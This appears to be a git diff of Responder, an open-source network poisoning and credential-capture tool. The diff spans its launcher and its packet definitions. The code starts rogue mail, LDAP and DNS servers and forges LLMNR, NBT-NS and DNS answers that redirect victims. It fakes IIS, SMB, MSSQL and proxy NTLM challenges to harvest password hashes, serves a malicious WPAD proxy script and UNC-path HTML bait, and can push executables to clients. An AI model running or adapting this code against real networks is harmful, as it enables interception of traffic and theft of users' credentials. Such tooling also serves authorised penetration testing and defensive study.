if settings.Config.POP_On_Off:
from servers.POP3 import POP3
thread.start_new(serve_thread_tcp,('', 110, POP3))
threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,)))
if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP
thread.start_new(serve_thread_tcp,('', 389, LDAP))
threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
thread.start_new(serve_thread_tcp,('', 25, ESMTP))
thread.start_new(serve_thread_tcp,('', 587, ESMTP))
threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,)))
if settings.Config.IMAP_On_Off:
from servers.IMAP import IMAP
thread.start_new(serve_thread_tcp,('', 143, IMAP))
threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,)))
if settings.Config.DNS_On_Off:
from servers.DNS import DNS, DNSTCP
thread.start_new(serve_thread_udp,('', 53, DNS))
thread.start_new(serve_thread_tcp,('', 53, DNSTCP))
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
for thread in threads:
thread.setDaemon(True)
thread.start()
print color('[+]', 2, 1) + " Listening for events..."

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,15 +14,10 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import sys
import socket
import struct
import string
import logging
from utils import *
from odict import OrderedDict
from utils import color
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
@@ -31,7 +26,6 @@ def OsNameClientVersion(data):
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"

0
logs/.gitignore vendored Normal file
View File

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -77,7 +77,7 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return (self.__class__, (items,), inst_dict)
return self.__class__, (items,), inst_dict
return self.__class__, (items,)
def keys(self):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -19,6 +19,7 @@ import settings
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, RespondWithIPAton
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -56,7 +57,7 @@ class NBT_Ans(Packet):
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = settings.Config.IP_aton
self.fields["IP"] = RespondWithIPAton()
# DNS Answer Packet
class DNS_Ans(Packet):
@@ -74,7 +75,7 @@ class DNS_Ans(Packet):
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -82,7 +83,7 @@ class DNS_Ans(Packet):
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = settings.Config.IP_aton
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
# LLMNR Answer Packet
@@ -110,7 +111,7 @@ class LLMNR_Ans(Packet):
])
def calculate(self):
self.fields["IP"] = settings.Config.IP_aton
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
@@ -169,7 +170,7 @@ class NTLM_Challenge(Packet):
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
("Av6Len", "\x00\x00"),
])
def calculate(self):
@@ -180,7 +181,7 @@ class NTLM_Challenge(Packet):
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
# Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
@@ -204,25 +205,23 @@ class NTLM_Challenge(Packet):
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
@@ -232,15 +231,14 @@ class IIS_Auth_Granted(Packet):
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
@@ -249,27 +247,25 @@ class IIS_NTLM_Challenge_Ans(Packet):
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
##### Proxy mode Packets #####
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
])
@@ -280,16 +276,15 @@ class ServeExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
@@ -303,13 +298,12 @@ class ServeHtmlFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
@@ -317,6 +311,68 @@ class ServeHtmlFile(Packet):
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
##### WPAD Auth Packets #####
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class WPAD_Basic_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
##### WEB Dav Stuff #####
class WEBDAV_Options_Answer(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
("Len", "Content-Length: 0\r\n"),
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
("Connection", "Connection: Keep-Alive\r\n"),
("Content-Type", "Content-Type: text/html\r\n"),
("CRLF", "\r\n"),
])
##### FTP Packets #####
class FTPPacket(Packet):
fields = OrderedDict([
@@ -330,7 +386,7 @@ class FTPPacket(Packet):
class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Status", "\x01"),
("Len", "\x00\x25"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
@@ -352,7 +408,7 @@ class MSSQLPreLoginAnswer(Packet):
("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"),
("InstOptStr", "\x00"),
])
])
def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
@@ -376,7 +432,7 @@ class MSSQLPreLoginAnswer(Packet):
class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\xc7"),
("SPID", "\x00\x00"),
@@ -415,7 +471,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
])
def calculate(self):
# First convert to unicode
@@ -425,7 +481,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
# Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
@@ -454,59 +510,59 @@ class MSSQLNTLMChallengeAnswer(Packet):
class SMTPGreeting(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("CRLF", "\x0d\x0a"),
])
])
class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"),
])
])
class SMTPAUTH1(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"),
])
])
class SMTPAUTH2(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"),
])
])
##### IMAP Packets #####
class IMAPGreeting(Packet):
fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"),
])
("CRLF", "\r\n"),
])
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"),
])
("CRLF", "\r\n"),
])
class IMAPCapabilityEnd(Packet):
fields = OrderedDict([
("Tag", ""),
("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"),
])
("CRLF", "\r\n"),
])
##### POP3 Packets #####
class POPOKPacket(Packet):
@@ -659,10 +715,10 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
@@ -734,7 +790,7 @@ class SMBNego(Packet):
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
@@ -777,7 +833,7 @@ class SMBSessionData(Packet):
("NativeLanmanTerminator","\x00"),
])
def calculate(self):
def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
@@ -815,8 +871,8 @@ class SMBSessionFingerData(Packet):
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
class SMBTreeConnectData(Packet):
fields = OrderedDict([
@@ -834,7 +890,7 @@ class SMBTreeConnectData(Packet):
("Terminator", "\x00"),
])
def calculate(self):
def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
@@ -965,7 +1021,7 @@ class SMBNegoAns(Packet):
("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
])
@@ -1037,7 +1093,7 @@ class SMBNegoKerbAns(Packet):
("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
])
@@ -1073,8 +1129,8 @@ class SMBSession1Data(Packet):
("Action", "\x00\x00"),
("SecBlobLen", "\xea\x00"),
("Bcc", "\x34\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x81"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x81"),
("ChoiceTagASNIdLen", "\x00"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
@@ -1115,23 +1171,23 @@ class SMBSession1Data(Packet):
("NTLMSSPNtWorkstationName","SMB12"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
("NTLMSSPNTLMPadding", ""),
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOsTerminator","\x00\x00"),
("NativeLAN", "Windows Server 2003 5.2"),
("NativeLANTerminator","\x00\x00"),
@@ -1155,7 +1211,7 @@ class SMBSession1Data(Packet):
###### Bcc len
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
###### SecBlobLen
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
@@ -1185,7 +1241,7 @@ class SMBSession1Data(Packet):
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
@@ -1203,7 +1259,7 @@ class SMBSession2Accept(Packet):
("SecBlobLen", "\x09\x00"),
("Bcc", "\x89\x01"),
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOsTerminator","\x00\x00"),
("NativeLAN", "Windows Server 2003 5.2"),
("NativeLANTerminator","\x00\x00"),
@@ -1230,7 +1286,7 @@ class SMBTreeData(Packet):
("GuestShareAccessRight","\x00\x00\x00\x00"),
("Bcc", "\x94\x00"),
("Service", "IPC"),
("ServiceTerminator","\x00\x00\x00\x00"),
("ServiceTerminator","\x00\x00\x00\x00"),
])
def calculate(self):
@@ -1245,7 +1301,7 @@ class SMBTreeData(Packet):
class SMBSessTreeAns(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("Command", "\x75"),
("Command", "\x75"),
("Reserved", "\x00"),
("AndXoffset", "\x4e\x00"),
("Action", "\x01\x00"),
@@ -1280,36 +1336,265 @@ class SMBSessTreeAns(Packet):
class SMB2Header(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
